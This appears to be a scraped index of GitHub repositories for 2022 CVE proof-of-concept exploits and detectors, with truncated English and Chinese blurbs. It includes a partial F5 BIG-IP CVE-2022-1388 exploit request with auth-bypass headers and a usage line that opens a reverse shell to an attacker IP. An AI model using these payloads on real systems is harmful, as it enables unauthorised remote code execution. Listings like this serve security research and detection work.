text4shell-exploit

text4shell-exploit A custom Python-based proof-of-concept PoC exploit targeting Text4Shell CVE-2022-42889, a critical remote code execution vulnerability in Apache Commons Text versions 1.10. This exploit targets vulnerable Java applications that use the StringSubstitutor class with interpolation...

CVE-2022-22947-exp

CVE-2022-22947-exp 复现了一下CVE-2022-22947漏洞，写了漏洞利用的exp 后面根据大佬的文章写了内存马注入的exp，仅供参考...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 漏洞利用 PoC F5 BIG-IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

jfrog-CVE-2022-24675

CVE-2022-24675 工具 使用说明 root@kitploit: cve202224675.sh rootfolder 将递归遍历指定文件夹，并报告使用了 pem.Decode 函数的 Golang 二进制文件，或者被剥离了符号的文件（这种情况下函数名会丢失，检查将无效）。...

CVE-2022-4616-POC

CVE-2022-46169 伪 Shell 描述 此 Python 脚本是一个辅助工具，旨在简化利用 CVE-2022-46169 漏洞的过程。它启动一个 HTTP 服务器监听传入请求，并为用户提供一个简单的界面来输入命令。这些命令随后在目标服务器上执行，自动化了向易受攻击的服务器发送精心构造的载荷并实时观察服务器响应的过程。 通过利用此脚本，用户可自动向易受攻击的服务器发送精心构造的载荷，并实时查看服务器的响应。 下载 root@kitploit: git clone...

CVE-2022-26134

CVE-2022-26134...

CVE-2022-22947-goby

CVE-2022-22947-goby 日常更新一些顺手写的gobypoc，包含高危害EXP goby CVE202222947.json...

CVE-2022-29170

此存储库没有 README。...

CVE-2022-1040

CVE-2022-1040...

CVE-2022-34718-PoC

CVE-2022-34718 IPv6 远程代码执行漏洞利用示例 该仓库包含 CVE-2022-34718 的漏洞利用代码，这是一个针对 Windows 系统上 IPv6 的远程代码执行（RCE）漏洞。 使用方法 由于该漏洞需要精心构造的 IPv6 数据包，因此依赖 Scapy 模块，并且需要以 root 权限运行。推荐通过虚拟环境运行此 PoC，如下所示： root@kitploit: virtualenv PoC source PoC/bin/activate PoC pip3 install -r requirements.txt PoC python3 ipv6-rce-poc....

CVE-2022-29007

CVE-2022-29007...

CVE-2022-29005

CVE-2022-29005...

CVE-2022-29004

CVE-2022-29004...

CVE-2022-37969

此存储库没有 README。...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 基于 Spring Boot 2.6.5 的 CVE-2022-22965 Docker 概念验证（PoC） 快速开始 1. 运行 docker compose up --build 构建并启动易受攻击的应用。 2. 运行 curl -H "Accept: text/html;"...

CVE-2022-0435

CVE-2022-0435...

CVE-2022-26134

CVE-2022-26134 poc 声明:该POC仅供于学习专用，禁止一切违法操作，如果进行恶意破坏与本人无关！！！ 使用方法 单个验证验证 root@kitploit: python CVE-2022-26134.py target url 批量url验证 root@kitploit: python CVE-2022-26134.py url.txt...

cve-2022-21907

CVE-2022-21907 此包将检测对 CVE-2022-21907 的利用尝试。 https://corelight.com/blog/detecting-cve-2022-21907 检测方法： HTTP HTTP 数据必须 = 1750 字节，并且 在利用 HTTP 请求的末尾未观察到 HTTP/1.1。 使用方法： root@kitploit: $ zeek -Cr your.pcap packages $ cat notice.log separator \x09 setseparator , emptyfield empty unsetfield - path notic...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage 反弹shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 执行命令 python3 CVE-2022-22947.py 目标网址 命令...

FollinaScanner

FollinaScanner 一个用 Go 编写的工具，用于扫描文件及目录中是否存在 Follina 漏洞 CVE-2022-30190 （注：“可疑文件”指包含 URL 但未生效的文件） 编译 root@kitploit: git clone https://github.com/ErrorNoInternet/FollinaScanner cd FollinaScanner go build 用法 root@kitploit: 扫描当前目录 ./follina-scanner -r . 扫描指定文件 ./follina-scanner amogus.docx 使用...